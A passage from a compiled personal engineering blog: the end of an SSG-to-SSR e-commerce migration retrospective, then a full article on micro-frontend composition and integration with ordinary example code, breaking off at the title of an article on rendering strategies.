4. **Router limitations**: The App Router's data fetching patterns didn't align well with our need to inspect page data before setting cache headers. Unlike Pages Router's `getServerSideProps` which provides direct access to the response object (`res.setHeader('Cache-Control', '...')`), App Router initially had no equivalent mechanism—this limitation wasn't addressed until [Next.js 14.2.10](https://github.com/vercel/next.js/discussions/52491). This forced a pivot to Pages Router mid-project

**Result**: Significant rework as we migrated from App Router back to Pages Router mid-project.

**Takeaway**: Start with the most conservative, well-understood architecture that solves your immediate problems. Adopt newer patterns incrementally after the foundation is stable.

### Lesson 4: The Phased Approach That Worked

After these setbacks, we restructured the project into distinct, measurable phases:

**Phase 1: Pure Technology Migration**

- Gatsby to Next.js with Pages Router
- Full CDN caching enabled (matching SSG behavior)
- Zero behavior changes
- **Success Criteria**: Metrics parity with the old platform

**Phase 2a: Infrastructure and Performance Optimization**

- Gradually reduce cache TTLs based on measured server capacity
- Optimize SSR performance (response times, memory usage)
- Eventually move to no-cache for real-time content where needed
- Enable personalization capabilities
- **Success Criteria**: Server stability at reduced cache rates, improved freshness metrics

**Phase 2b: Feature A/B Testing (Parallel Track)**

- Behavior changes released as separate experiments
- Each change measured independently
- Clear attribution of metric movements
- **Success Criteria**: Statistically significant improvements per experiment

**Outcome**: This approach took longer than the original aggressive timeline, but every decision was backed by data. We could confidently attribute metric changes to specific modifications, roll back individual changes without affecting others, and build organizational trust in the migration through demonstrated incremental wins.

### Lesson 5: Real-Time Content Updates Require Operational Readiness

**What We Implemented**: Near real-time content updates from Contentful via webhooks that triggered cache invalidation whenever content was published.

**Problems Encountered**:

1. **Race conditions with backend systems**: Sometimes product data updates in backend systems (inventory, pricing) lagged behind CMS updates. When a content author published a new product page in Contentful, the webhook immediately invalidated the cache and SSR attempted to render the page—but the product API returned 404 because the backend hadn't synced yet. Users saw broken pages until the backend caught up.

2. **Content publishing order dependencies**: Real-time updates introduced ordering constraints that didn't exist with build-time SSG. For example, when creating a campaign banner on the home page linking to a new landing page:
   - **Correct order**: Publish landing page first → then publish home page banner
   - **Wrong order**: Publish home page banner first → banner immediately goes live linking to a 404 because the landing page doesn't exist yet

   With SSG, both changes would be bundled in the same build, so ordering didn't matter. With real-time updates, each publish is independent and immediate.

3. **Content author training gap**: Site operations teams were accustomed to SSG workflows where they could stage multiple changes and publish them together in a single build. The new real-time model required understanding dependency graphs between content pieces—a significant operational shift that we failed to address before launch.

**Our Solution: Versioned Content Releases**

Instead of real-time publishing, we built a versioned content release system:

1. **Staged content changes**: Content authors make changes in Contentful as usual, but changes don't go live immediately
2. **Release preview**: Site-ops can preview all pending changes bundled together before releasing—similar to the SSG experience but without requiring a full rebuild
3. **Explicit release action**: A deliberate "Release" action publishes all staged changes atomically, ensuring dependent content goes live together
4. **Version history**: Each release is versioned, enabling quick rollback to previous content states if issues arise

This approach preserved the operational simplicity of SSG's bundled publishing while gaining SSR's rendering flexibility. Content authors could work in familiar patterns without learning complex dependency ordering rules.

**Takeaway**: Real-time content publishing is a capability that requires organizational readiness, not just technical implementation. If your team isn't ready for real-time workflows, consider building intermediate solutions like versioned releases that provide control without requiring process changes. Before enabling true real-time updates:

- Document content dependency patterns and publish ordering rules
- Train content authors on the implications of immediate publishing
- Consider implementing safeguards like versioned releases, scheduled publishing windows, or dependency validation
- Ensure all upstream systems (product APIs, inventory services) can handle the same update velocity as the CMS

### Summary: Principles for Large-Scale Migrations

| Principle    | Anti-Pattern                                     | Recommended Approach                                          |
| ------------ | ------------------------------------------------ | ------------------------------------------------------------- |
| Scope        | Combine migration + improvements                 | Pure migration first, improvements as separate experiments    |
| Architecture | Start with cutting-edge features                 | Start conservative, adopt modern patterns incrementally       |
| Release      | Big-bang deployment                              | Phased rollout with traffic splitting                         |
| Measurement  | Ship and hope                                    | Data-backed decisions at each phase                           |
| Timeline     | Aggressive estimates based on surface similarity | Budget for framework-specific complexity                      |
| Operations   | Deploy real-time features without training       | Ensure operational readiness before enabling new capabilities |

The longer timeline was ultimately an investment in certainty. Every phase delivered measurable value, built stakeholder confidence, and reduced the risk of catastrophic failures that could have derailed the entire initiative.

## Conclusion

The migration from SSG to SSR represents more than a technology upgrade—it's a strategic transformation that addresses fundamental limitations in how e-commerce platforms operate. By moving from a static-first architecture to a dynamic, server-rendered approach, organizations unlock new capabilities for personalization, experimentation, and operational agility.

The success of this migration depends on thorough planning, stakeholder alignment, and disciplined execution. The Strangler Fig pattern with platform A/B testing enables risk mitigation while delivering continuous value, and the comprehensive monitoring framework ensures measurable business impact.

For engineers undertaking this journey, the investment in time and resources pays dividends through improved user experience, better marketing efficiency, and enhanced competitive positioning. The result is a platform that not only solves today's challenges but positions the organization for future growth and innovation in the dynamic world of digital commerce.

The migration from SSG to SSR is not just about solving technical problems—it's about building a foundation for business success in an increasingly competitive and dynamic e-commerce landscape.

## References

- [Next.js Pages Router - getServerSideProps](https://nextjs.org/docs/pages/building-your-application/data-fetching/get-server-side-props) - Official Next.js documentation on server-side rendering with the Pages Router
- [Next.js Proxy](https://nextjs.org/docs/app/api-reference/file-conventions/proxy) - Edge proxy for routing, A/B testing, and personalization (replaces middleware.ts as of Next.js 16)
- [Next.js Middleware to Proxy Migration](https://nextjs.org/docs/messages/middleware-to-proxy) - Official migration guide for updating middleware.ts to proxy.ts in Next.js 16+
- [Core Web Vitals - web.dev](https://web.dev/articles/vitals) - Google's official documentation on LCP, INP, and CLS thresholds and measurement
- [Core Web Vitals Thresholds](https://web.dev/articles/defining-core-web-vitals-thresholds) - How Google defined the "good", "needs improvement", and "poor" thresholds
- [Strangler Fig Pattern - AWS](https://docs.aws.amazon.com/prescriptive-guidance/latest/cloud-design-patterns/strangler-fig.html) - AWS Prescriptive Guidance on incremental migration using the Strangler Fig pattern
- [Strangler Fig Pattern - Microsoft Azure](https://learn.microsoft.com/en-us/azure/architecture/patterns/strangler-fig) - Azure Architecture Center's pattern documentation with implementation considerations
- [Strangler Fig Application - Martin Fowler](https://martinfowler.com/bliki/StranglerFigApplication.html) - Original pattern description by Martin Fowler
- [A/B Testing with Next.js and Vercel](https://vercel.com/blog/ab-testing-with-nextjs-and-vercel) - Edge-based A/B testing patterns using middleware rewrites
- [CloudFront Functions](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/cloudfront-functions.html) - AWS documentation on lightweight edge compute for viewer request/response manipulation
- [Lambda@Edge](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-at-the-edge.html) - AWS documentation on origin request/response functions for dynamic origin selection
- [CloudFront Cache Policy](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/controlling-the-cache-key.html) - Configuring cache keys with cookies and headers for A/B testing
- [Gatsby Build Performance Guide](https://www.gatsbyjs.com/docs/how-to/performance/improving-build-performance/) - Understanding SSG build time bottlenecks and optimization strategies
- [CloudFront Quotas](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/cloudfront-limits.html) - AWS documentation on CloudFront limits including the 10MB automatic compression threshold

# FRONTEND ENGINEERING

Architecture patterns, performance, design systems, and frameworks for building UIs.

---

## Micro-Frontends Architecture: Composition, Isolation, and Delivery

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/frontend-architecture-patterns/micro-frontends-architecture
**Category:** Frontend Engineering / Frontend Architecture & Patterns
**Description:** Learn how to scale frontend development with microfrontends, enabling team autonomy, independent deployments, and domain-driven boundaries for large-scale applications.

# Micro-Frontends Architecture: Composition, Isolation, and Delivery

Learn how to scale frontend development with microfrontends, enabling team autonomy, independent deployments, and domain-driven boundaries for large-scale applications.

## TLDR

**Microfrontends** break large frontend applications into smaller, independent pieces that can be developed, deployed, and scaled separately.

### Key Benefits

- **Team Autonomy**: Each team owns their microfrontend end-to-end
- **Technology Freedom**: Teams can choose different frameworks (React, Vue, Angular, Svelte)
- **Independent Deployments**: Deploy without coordinating with other teams
- **Domain-Driven Design**: Organized around business domains, not technical layers

### Composition Strategies

- **Client-Side**: Browser assembly using Module Federation, Web Components, iframes
- **Server-Side**: Server assembly using SSR frameworks, Server-Side Includes
- **Edge-Side**: CDN assembly using Cloudflare Workers, ESI, Lambda@Edge

### Integration Techniques

- **Iframes**: Maximum isolation, complex communication via postMessage
- **Web Components**: Framework-agnostic, encapsulated UI widgets
- **Module Federation**: Dynamic code sharing, dependency optimization
- **Custom Events**: Simple publish-subscribe communication

### Deployment & State Management

- **Independent CI/CD pipelines** for each microfrontend
- **Local state first** - each microfrontend manages its own state
- **URL-based state** for sharing ephemeral data
- **Custom events** for cross-microfrontend communication

### When to Choose

- **Client-Side**: High interactivity, complex state sharing, SPA requirements
- **Edge-Side**: Global performance, low latency, high availability needs
- **Server-Side**: SEO-critical, initial load performance priority
- **Iframes**: Legacy integration, security sandboxing requirements

### Challenges

- **Cross-cutting concerns**: State management, routing, user experience
- **Performance overhead**: Multiple JavaScript bundles, network requests
- **Complexity**: Requires mature CI/CD, automation, and tooling
- **Team coordination**: Shared dependencies, versioning, integration testing

## Core Principles of Microfrontend Architecture

A successful microfrontend implementation is built on a foundation of core principles that ensure scalability and team independence.

### Technology Agnosticism

Each team should have the freedom to choose the technology stack best suited for their specific domain, without being constrained by the choices of other teams. Custom Elements are often used to create a neutral interface between these potentially disparate stacks.

### Isolate Team Code

To prevent the tight coupling that plagues monoliths, microfrontends should not share a runtime. Each should be built as an independent, self-contained application, avoiding reliance on shared state or global variables.

### Independent Deployments

A cornerstone of the architecture is the ability for each team to deploy their microfrontend independently. This decouples release cycles, accelerates feature delivery, and empowers teams with true ownership.

### Domain-Driven Boundaries

Microfrontends should be modeled around business domains, not technical layers. This ensures that teams are focused on delivering business value and that the boundaries between components are logical and clear.

<figure>

![Monolithic frontend architecture showing the tight coupling and coordinated deployments that microfrontends aim to solve](./monolithic-frontend-architecture-showing-the-tight-coupling-and-coordinated-depl.svg)

<figcaption>Monolithic frontend architecture showing the tight coupling and coordinated deployments that microfrontends aim to solve</figcaption>

</figure>

<figure>

![Microfrontend architecture showing independent deployments, domain boundaries, technology freedom, and team autonomy](./microfrontend-architecture-showing-independent-deployments-domain-boundaries-tec.svg)

<figcaption>Microfrontend architecture showing independent deployments, domain boundaries, technology freedom, and team autonomy</figcaption>

</figure>

## The Composition Conundrum: Where to Assemble the Puzzle?

The method by which independent microfrontends are stitched together into a cohesive user experience is known as composition. The location of this assembly process is a primary architectural decision, leading to three distinct models.

| Composition Strategy | Primary Location   | Key Technologies                                           | Ideal Use Case                                                                                                                                        |
| -------------------- | ------------------ | ---------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Client-Side**      | User's Browser     | Module Federation, iframes, Web Components, single-spa     | Highly interactive, complex Single-Page Applications (SPAs) where teams are familiar with the frontend ecosystem                                      |
| **Server-Side**      | Origin Server      | Server-Side Includes (SSI), SSR Frameworks (e.g., Next.js) | SEO-critical applications where initial load performance is paramount and state-sharing complexity is high                                            |
| **Edge-Side**        | CDN / Edge Network | ESI, Cloudflare Workers, AWS Lambda@Edge                   | Applications with global audiences that require high availability, low latency, and the ability to offload scalability challenges to the CDN provider |

<figure>

![Three composition strategies showing client-side, server-side, and edge-side approaches for assembling microfrontends](./three-composition-strategies-showing-client-side-server-side-and-edge-side-appro.svg)

<figcaption>Three composition strategies showing client-side, server-side, and edge-side approaches for assembling microfrontends</figcaption>

</figure>

## A Deep Dive into Integration Techniques

The choice of composition model dictates the available integration techniques, each with its own set of trade-offs regarding performance, isolation, and developer experience.

### Client-Side Integration

In this model, an application shell is loaded in the browser, which then dynamically fetches and renders the various microfrontends.

#### Iframes: The Classic Approach

Iframes offer the strongest possible isolation in terms of styling and JavaScript execution. This makes them an excellent choice for integrating legacy applications or third-party content where trust is low. However, they introduce complexity in communication (requiring `postMessage` APIs) and can create a disjointed user experience.

```html collapse={1-20}
<!-- Example: Iframe-based microfrontend integration -->
<div class="app-shell">
  <header>
    <h1>E-commerce Platform</h1>
  </header>

  <main>
    <!-- Product catalog microfrontend -->
    <iframe
      src="https://catalog.microfrontend.com"
      id="catalog-frame"
      style="width: 100%; height: 600px; border: none;"
    >
    </iframe>

    <!-- Shopping cart microfrontend -->
    <iframe src="https://cart.microfrontend.com" id="cart-frame" style="width: 300px; height: 400px; border: none;">
    </iframe>
  </main>
</div>

<script>
  // Communication between iframes using postMessage
  document.getElementById("catalog-frame").contentWindow.postMessage(
    {
      type: "ADD_TO_CART",
      productId: "12345",
    },
    "https://catalog.microfrontend.com",
  )

  window.addEventListener("message", (event) => {
    if (event.origin !== "https://cart.microfrontend.com") return

    if (event.data.type === "CART_UPDATED") {
      console.log("Cart updated:", event.data.cart)
    }
  })
</script>
```

#### Web Components: Framework-Agnostic Integration

By using a combination of Custom Elements and the Shadow DOM, Web Components provide a standards-based, framework-agnostic way to create encapsulated UI widgets. They serve as a neutral interface, allowing a React-based shell to seamlessly host a component built in Vue or Angular.

```javascript title="product-card.js" collapse={1-9, 14-36}
// Example: Custom Element for a product card microfrontend
class ProductCard extends HTMLElement {
  constructor() {
    super()
    this.attachShadow({ mode: "open" })
  }

  connectedCallback() {
    this.render()
  }

  render() {
    this.shadowRoot.innerHTML = `
      <style>
        .product-card {
          border: 1px solid #ddd;
          border-radius: 8px;
          padding: 16px;
          margin: 8px;
          max-width: 300px;
        }
        .product-title {
          font-size: 18px;
          font-weight: bold;
          margin-bottom: 8px;
        }
        .product-price {
          color: #e44d26;
          font-size: 20px;
          font-weight: bold;
        }
        .add-to-cart-btn {
          background: #007bff;
          color: white;
          border: none;
          padding: 8px 16px;
          border-radius: 4px;
          cursor: pointer;
        }
      </style>

      <div class="product-card">
        <div class="product-title">${this.getAttribute("title")}</div>
        <div class="product-price">$${this.getAttribute("price")}</div>
        <button class="add-to-cart-btn" onclick="this.addToCart()">
          Add to Cart
        </button>
      </div>
    `
  }

  // Key pattern: Custom events enable framework-agnostic communication
  addToCart() {
    this.dispatchEvent(
      new CustomEvent("addToCart", {
        detail: {
          productId: this.getAttribute("product-id"),
          title: this.getAttribute("title"),
          price: this.getAttribute("price"),
        },
        bubbles: true,
      }),
    )
  }
}

customElements.define("product-card", ProductCard)
```

#### Webpack Module Federation: Revolutionary Code Sharing

A revolutionary feature in Webpack 5+, Module Federation allows a JavaScript application to dynamically load code from a completely separate build at runtime. It enables true code sharing between independent applications.

**How it works:** A host application consumes code from a remote application. The remote exposes specific modules (like components or functions) via a `remoteEntry.js` file. Crucially, both can define shared dependencies (e.g., React), allowing the host and remote to negotiate and use a single version, preventing the library from being downloaded multiple times.

```javascript title="webpack.config.js (Host)" collapse={1-4}
// Host application webpack.config.js
const ModuleFederationPlugin = require("webpack/lib/container/ModuleFederationPlugin")

module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: "host",
      remotes: {
        // Remote entry points - each microfrontend exposes its modules via remoteEntry.js
        productCatalog: "productCatalog@http://localhost:3001/remoteEntry.js",
        shoppingCart: "shoppingCart@http://localhost:3002/remoteEntry.js",
      },
      shared: {
        // singleton: true ensures only one React instance across all microfrontends
        react: { singleton: true, requiredVersion: "^18.0.0" },
        "react-dom": { singleton: true, requiredVersion: "^18.0.0" },
      },
    }),
  ],
}
```

```javascript title="webpack.config.js (Remote)" collapse={1-4}
// Remote application webpack.config.js
const ModuleFederationPlugin = require("webpack/lib/container/ModuleFederationPlugin")

module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: "productCatalog",
      filename: "remoteEntry.js",
      exposes: {
        // Components exposed to consuming applications
        "./ProductList": "./src/components/ProductList",
        "./ProductCard": "./src/components/ProductCard",
      },
      shared: {
        react: { singleton: true, requiredVersion: "^18.0.0" },
        "react-dom": { singleton: true, requiredVersion: "^18.0.0" },
      },
    }),
  ],
}
```

```javascript title="App.jsx (Host)"
// Host application consuming remote components
import React, { Suspense } from "react"

// Dynamic imports load remote microfrontends at runtime
const ProductList = React.lazy(() => import("productCatalog/ProductList"))
const ShoppingCart = React.lazy(() => import("shoppingCart/ShoppingCart"))

function App() {
  return (
    <div className="app">
      <Suspense fallback={<div>Loading products...</div>}>
        <ProductList />
      </Suspense>
      <Suspense fallback={<div>Loading cart...</div>}>
        <ShoppingCart />
      </Suspense>
    </div>
  )
}
```

**Use Case:** This is the dominant technique for building complex, interactive SPAs that feel like a single, cohesive application. It excels at optimizing bundle sizes through dependency sharing and enables rich, integrated state management. The trade-off is tighter coupling at the JavaScript level, requiring teams to coordinate on shared dependency versions.

### Edge-Side Integration

This hybrid model moves the assembly logic from the origin server to the CDN layer, physically closer to the end-user.

#### Edge Side Includes (ESI): Legacy XML-Based Assembly

A legacy XML-based markup language, ESI allows an edge proxy to stitch a page together from fragments with different caching policies. An `<esi:include>` tag in the HTML instructs the ESI processor to fetch and inject content from another URL.

```html
<!-- Example: ESI-based page assembly -->
<!DOCTYPE html>
<html>
  <head>
    <title>E-commerce Platform</title>
    <link rel="stylesheet" href="/styles/main.css" />
  </head>
  <body>
    <header>
      <esi:include src="https://header.microfrontend.com" />
    </header>

    <main>
      <div class="product-catalog">
        <esi:include src="https://catalog.microfrontend.com/products" />
      </div>

      <aside class="shopping-cart">
        <esi:include src="https://cart.microfrontend.com" />
      </aside>
    </main>

    <footer>
      <esi:include src="https://footer.microfrontend.com" />
    </footer>
  </body>
</html>
```

While effective for caching, ESI is limited by its declarative nature and inconsistent vendor support.

#### Programmable Edge: Modern JavaScript-Based Assembly

The modern successor to ESI, programmable edge environments provide a full JavaScript runtime on the CDN. Using APIs like Cloudflare's `HTMLRewriter`, a worker can stream an application shell, identify placeholder elements, and stream microfrontend content directly into them from different origins.

```javascript title="worker.js" collapse={1-5}
// Example: Cloudflare Worker for edge-side composition
export default {
  async fetch(request, env) {
    const url = new URL(request.url)

    // Fetch the application shell from origin
    const shellResponse = await fetch("https://shell.microfrontend.com" + url.pathname)

    // Fetch microfrontend fragments in parallel
    const [headerHtml, catalogHtml, cartHtml] = await Promise.all([
      fetch("https://header.microfrontend.com").then((r) => r.text()),
      fetch("https://catalog.microfrontend.com/products").then((r) => r.text()),
      fetch("https://cart.microfrontend.com").then((r) => r.text()),
    ])

    // Use HTMLRewriter to inject microfrontend content into placeholders
    return new HTMLRewriter()
      .on('[data-microfrontend="header"]', {
        element(el) {
          el.replace(headerHtml, { html: true })
        },
      })
      .on('[data-microfrontend="catalog"]', {
        element(el) {
          el.replace(catalogHtml, { html: true })
        },
      })
      .on('[data-microfrontend="cart"]', {
        element(el) {
          el.replace(cartHtml, { html: true })
        },
      })
      .transform(shellResponse)
  },
}
```

This approach offers the performance benefits of server-side rendering with the scalability of a global CDN. A powerful pattern called "Fragment Piercing" even allows for the incremental modernization of legacy client-side apps by server-rendering new microfrontends at the edge and "piercing" them into the existing application's DOM.

## Deployment Strategies: From Code to Production

A core tenet of microfrontends is independent deployability, which necessitates a robust and automated CI/CD strategy.

### Independent Pipelines

Each microfrontend must have its own dedicated CI/CD pipeline, allowing its owning team to build, test, and deploy without coordinating with others. This is fundamental to achieving team autonomy.

<figure>

![Independent deployment pipelines showing how each team can build, test, and deploy their microfrontend without coordinating with others](./independent-deployment-pipelines-showing-how-each-team-can-build-test-and-deploy.svg)

<figcaption>Independent deployment pipelines showing how each team can build, test, and deploy their microfrontend without coordinating with others</figcaption>

</figure>

### Repository Strategy

Teams often face a choice between a single monorepo or multiple repositories (polyrepo). A monorepo can simplify dependency management and ensure consistency, but it can also reduce team autonomy and create tight coupling if not managed carefully.

```yaml title=".github/workflows/deploy-catalog.yml" collapse={1-6, 14-36}
# Example: GitHub Actions workflow for independent deployment
name: Deploy Product Catalog Microfrontend

on:
  push:
    branches: [main]
    paths:
      # Key pattern: Only trigger when this specific microfrontend changes
      - "microfrontends/product-catalog/**"

jobs:
  build-and-deploy:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: "20"
          cache: "npm"
          cache-dependency-path: "microfrontends/product-catalog/package-lock.json"

      - name: Install dependencies
        run: |
          cd microfrontends/product-catalog
          npm ci

      - name: Run tests
        run: |
          cd microfrontends/product-catalog
          npm test

      - name: Build application
        run: |
          cd microfrontends/product-catalog
          npm run build

      # Independent deployment - no coordination with other teams
      - name: Deploy to staging
        run: npm run deploy:staging
        working-directory: microfrontends/product-catalog

      - name: Run integration tests
        run: npm run test:integration

      - name: Deploy to production
        if: success()
        run: npm run deploy:production
        working-directory: microfrontends/product-catalog
```

### Automation and Tooling

A mature automation culture is non-negotiable.

**Selective Builds:** CI/CD systems should be intelligent enough to identify and build only the components that have changed, avoiding unnecessary full-application rebuilds.

**Versioning:** Shared dependencies and components must be strictly versioned to prevent conflicts and allow teams to adopt updates at their own pace.

**Infrastructure:** Container orchestration platforms like Kubernetes are often used to manage and scale the various services that constitute the microfrontend ecosystem.

## Navigating Cross-Cutting Concerns

While decomposition solves many problems, it introduces new challenges, particularly around state, routing, and user experience.

### State Management and Communication

Managing state is one of the most complex aspects of a microfrontend architecture. The primary goal is to maintain isolation and avoid re-introducing the tight coupling the architecture was meant to solve.

#### Local State First

The default and most resilient pattern is for each microfrontend to manage its own state independently.

```javascript title="ProductCatalog.jsx" collapse={1-3, 11-24}
// Example: Local state management in a React microfrontend
import React, { useState, useEffect } from "react"

function ProductCatalog() {
  const [products, setProducts] = useState([])
  const [loading, setLoading] = useState(true)
  const [filters, setFilters] = useState({})

  useEffect(() => {
    fetchProducts(filters)
  }, [filters])

  const fetchProducts = async (filters) => {
    setLoading(true)
    try {
      const response = await fetch(`/api/products?${new URLSearchParams(filters)}`)
      const data = await response.json()
      setProducts(data)
    } catch (error) {
      console.error("Failed to fetch products:", error)
    } finally {
      setLoading(false)
    }
  }

  // Key pattern: Sync local state to URL for shareability
  const handleFilterChange = (newFilters) => {
    setFilters(newFilters)
    window.history.replaceState(null, "", `?${new URLSearchParams(newFilters)}`)
  }

  return (
    <div className="product-catalog">
      <FilterPanel filters={filters} onFilterChange={handleFilterChange} />
      {loading ? <div>Loading...</div> : <ProductGrid products={products} />}
    </div>
  )
}
```

#### URL-Based State

For ephemeral state that needs to be shared across fragments (e.g., search filters), the URL is the ideal, stateless medium.

```javascript title="url-state-manager.js" collapse={1-6, 27-36}
// Example: URL-based state management
class URLStateManager {
  constructor() {
    this.listeners = new Set()
    window.addEventListener("popstate", this.handlePopState.bind(this))
  }

  // Key pattern: URL as the source of truth for cross-microfrontend state
  setState(key, value) {
    const url = new URL(window.location)
    if (value === null || value === undefined) {
      url.searchParams.delete(key)
    } else {
      url.searchParams.set(key, JSON.stringify(value))
    }
    window.history.pushState(null, "", url)
    this.notifyListeners()
  }

  getState(key) {
    const url = new URL(window.location)
    const value = url.searchParams.get(key)
    return value ? JSON.parse(value) : null
  }

  subscribe(listener) {
    this.listeners.add(listener)
    return () => this.listeners.delete(listener)
  }

  notifyListeners() {
    this.listeners.forEach((listener) => listener())
  }

  handlePopState() {
    this.notifyListeners()
  }
}

// Usage across microfrontends - any microfrontend can read/write
const stateManager = new URLStateManager()
stateManager.setState("category", "electronics")
const category = stateManager.getState("category")
```

#### Custom Events

For client-side communication after composition, native browser events provide a simple and effective publish-subscribe mechanism, allowing fragments to communicate without direct knowledge of one another.

```javascript title="event-bus.js" collapse={1-26}
// Example: Event-based communication between microfrontends
class MicrofrontendEventBus {
  constructor() {
    this.events = {}
  }

  on(event, callback) {
    if (!this.events[event]) {
      this.events[event] = []
    }
    this.events[event].push(callback)
  }

  emit(event, data) {
    if (this.events[event]) {
      this.events[event].forEach((callback) => callback(data))
    }
  }

  off(event, callback) {
    if (this.events[event]) {
      this.events[event] = this.events[event].filter((cb) => cb !== callback)
    }
  }
}

window.microfrontendEvents = new MicrofrontendEventBus()

// Key pattern: Loose coupling via pub-sub
// Product catalog emits events (doesn't know who listens)
function addToCart(product) {
  window.microfrontendEvents.emit("addToCart", {
    productId: product.id,
    name: product.name,
    price: product.price,
    quantity: 1,
  })
}

// Shopping cart subscribes (doesn't know who publishes)
window.microfrontendEvents.on("addToCart", (productData) => {
  updateCart(productData)
})
```

#### Shared Global Store (Use with Caution)

For truly global state like user authentication, a shared store (e.g., Redux) can be used. However, this should be a last resort, as it introduces a strong dependency between fragments and the shared module, reducing modularity.

```javascript title="shared-store.js" collapse={1-4, 8-16, 19-32}
// Example: Shared Redux store (use sparingly - reduces modularity)
import { createStore, combineReducers } from "redux"

// Shared user state - authentication is a valid use case for shared state
const userReducer = (state = null, action) => {
  switch (action.type) {
    case "SET_USER":
      return action.payload
    case "LOGOUT":
      return null
    default:
      return state
  }
}

// Shared cart state - consider URL-based or event-based alternatives first
const cartReducer = (state = [], action) => {
  switch (action.type) {
    case "ADD_TO_CART":
      const existingItem = state.find((item) => item.id === action.payload.id)
      if (existingItem) {
        return state.map((item) => (item.id === action.payload.id ? { ...item, quantity: item.quantity + 1 } : item))
      }
      return [...state, { ...action.payload, quantity: 1 }]
    case "REMOVE_FROM_CART":
      return state.filter((item) => item.id !== action.payload)
    default:
      return state
  }
}

const rootReducer = combineReducers({ user: userReducer, cart: cartReducer })

// Warning: All microfrontends now depend on this store version
window.sharedStore = createStore(rootReducer)
```

### Routing

Routing logic is intrinsically tied to the composition model.

#### Client-Side Routing

In architectures using an application shell (common with Module Federation or single-spa), a global router within the shell manages navigation between different microfrontends, while each microfrontend can handle its own internal, nested routes.

```javascript title="root-config.js" collapse={16-32}
// Example: Client-side routing with single-spa
import { registerApplication, start } from "single-spa"

// Key pattern: Route-based microfrontend mounting
// Each microfrontend mounts/unmounts based on URL patterns
registerApplication({
  name: "product-catalog",
  app: () => import("./product-catalog"),
  activeWhen: ["/products", "/"],
  customProps: { domElement: document.getElementById("product-catalog-container") },
})

registerApplication({
  name: "shopping-cart",
  app: () => import("./shopping-cart"),
  activeWhen: ["/cart"],
  customProps: { domElement: document.getElementById("shopping-cart-container") },
})

registerApplication({
  name: "user-profile",
  app: () => import("./user-profile"),
  activeWhen: ["/profile"],
  customProps: { domElement: document.getElementById("user-profile-container") },
})

start()
```

#### Server/Edge-Side Routing

In server or edge-composed systems, routing is typically handled by the webserver or edge worker. Each URL corresponds to a page that is assembled from a specific set of fragments, simplifying the client-side logic at the cost of a full network round trip for each navigation.

```javascript title="pages/products/[category].js" collapse={13-24}
// Example: Server-side routing with Next.js
export default function ProductCategory({ products, category }) {
  return (
    <div className="product-category-page">
      <h1>{category} Products</h1>
      {/* Microfrontend components composed server-side */}
      <ProductCatalog products={products} />
      <ShoppingCart />
    </div>
  )
}

// Key pattern: Data fetched at request time, page assembled server-side
export async function getServerSideProps({ params }) {
  const { category } = params
  const products = await fetchProductsByCategory(category)
  return { props: { products, category } }
}
```

## Choosing Your Path: A Use-Case Driven Analysis

The "best" microfrontend approach is context-dependent. The decision should be driven by application requirements, team structure, and performance goals.

### Choose Client-Side Composition (e.g., Module Federation) when:

- Your application is a highly interactive, complex SPA that needs to feel like a single, seamless product
- Multiple fragments need to share complex state
- Optimizing the total JavaScript payload via dependency sharing is a key concern
- Teams are familiar with the frontend ecosystem and can coordinate on shared dependencies

### Choose Edge-Side Composition when:

- Your primary goals are global low latency, high availability, and superior initial load performance
- You're building e-commerce sites, news portals, or any application serving a geographically diverse audience
- Offloading scalability to a CDN is a strategic advantage
- You need to incrementally modernize legacy applications

### Choose Server-Side Composition when:

- SEO and initial page load time are the absolute highest priorities
- You're building content-heavy sites with less dynamic interactivity
- Delivering a fully-formed HTML document to web crawlers is critical
- State-sharing complexity is high and you want to avoid client-side coordination

### Choose Iframes when:

- You need to integrate a legacy application into a modern shell
- You're embedding untrusted third-party content
- The unparalleled security sandboxing of iframes is required
- You need complete isolation between different parts of the application

<figure>

![Decision tree for choosing the right microfrontend composition strategy based on primary goals and requirements](./decision-tree-for-choosing-the-right-microfrontend-composition-strategy-based-on.svg)

<figcaption>Decision tree for choosing the right microfrontend composition strategy based on primary goals and requirements</figcaption>

</figure>

## Conclusion

Microfrontends enable scalable frontend development but introduce complexity that must be justified by organizational needs. The architecture works best when:

- **Multiple teams** need to deploy independently without coordination
- **Technology diversity** is required across different parts of the application
- **Domain boundaries** are clear and stable

The composition strategy should match your constraints: client-side for SPAs with complex state sharing, edge-side for global performance requirements, server-side for SEO-critical applications.

Microfrontends are fundamentally an organizational decision. The technical implementation follows from how teams are structured, how releases are managed, and what trade-offs are acceptable. Start with the simplest approach that enables independent deployment, then add complexity only when needed.

## References

- [Micro Frontends](https://micro-frontends.org/) - Techniques, strategies and recipes for building a modern web app with multiple teams
- [Martin Fowler - Micro Frontends](https://martinfowler.com/articles/micro-frontends.html) - Defining the approach and patterns
- [Webpack Module Federation](https://webpack.js.org/concepts/module-federation/) - Official documentation for Module Federation
- [single-spa Framework](https://single-spa.js.org/) - A javascript framework for front-end microservices
- [Web Components](https://developer.mozilla.org/en-US/docs/Web/API/Web_components) - MDN documentation on Web Components standards
- [Cloudflare Workers](https://developers.cloudflare.com/workers/) - Edge computing platform for serverless functions

---

## Rendering Strategies: CSR, SSR, SSG, and ISR

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/frontend-architecture-patterns/rendering-strategies-csr-ssr-ssg-isr
**Category:** Frontend Engineering / Frontend Architecture & Patterns
**Description:** Every page load is a sequence of decisions: where HTML is generated, when data is fetched, and how interactivity is attached. The four canonical rendering strategies — Client-Side Rendering (CSR), Server-Side Rendering (SSR), Static Site Generation (SSG), and Incremental Static Regeneration (ISR) — represent different trade-off points along axes of freshness, performance, cost, and complexity. Modern frameworks blur the boundaries further with per-route strategies, streaming, islands architecture, and Partial Prerendering (PPR). This article examines the mechanics, failure modes, and design reasoning behind each approach, then builds a decision framework for choosing between them.

# Rendering Strategies: CSR, SSR, SSG, and ISR

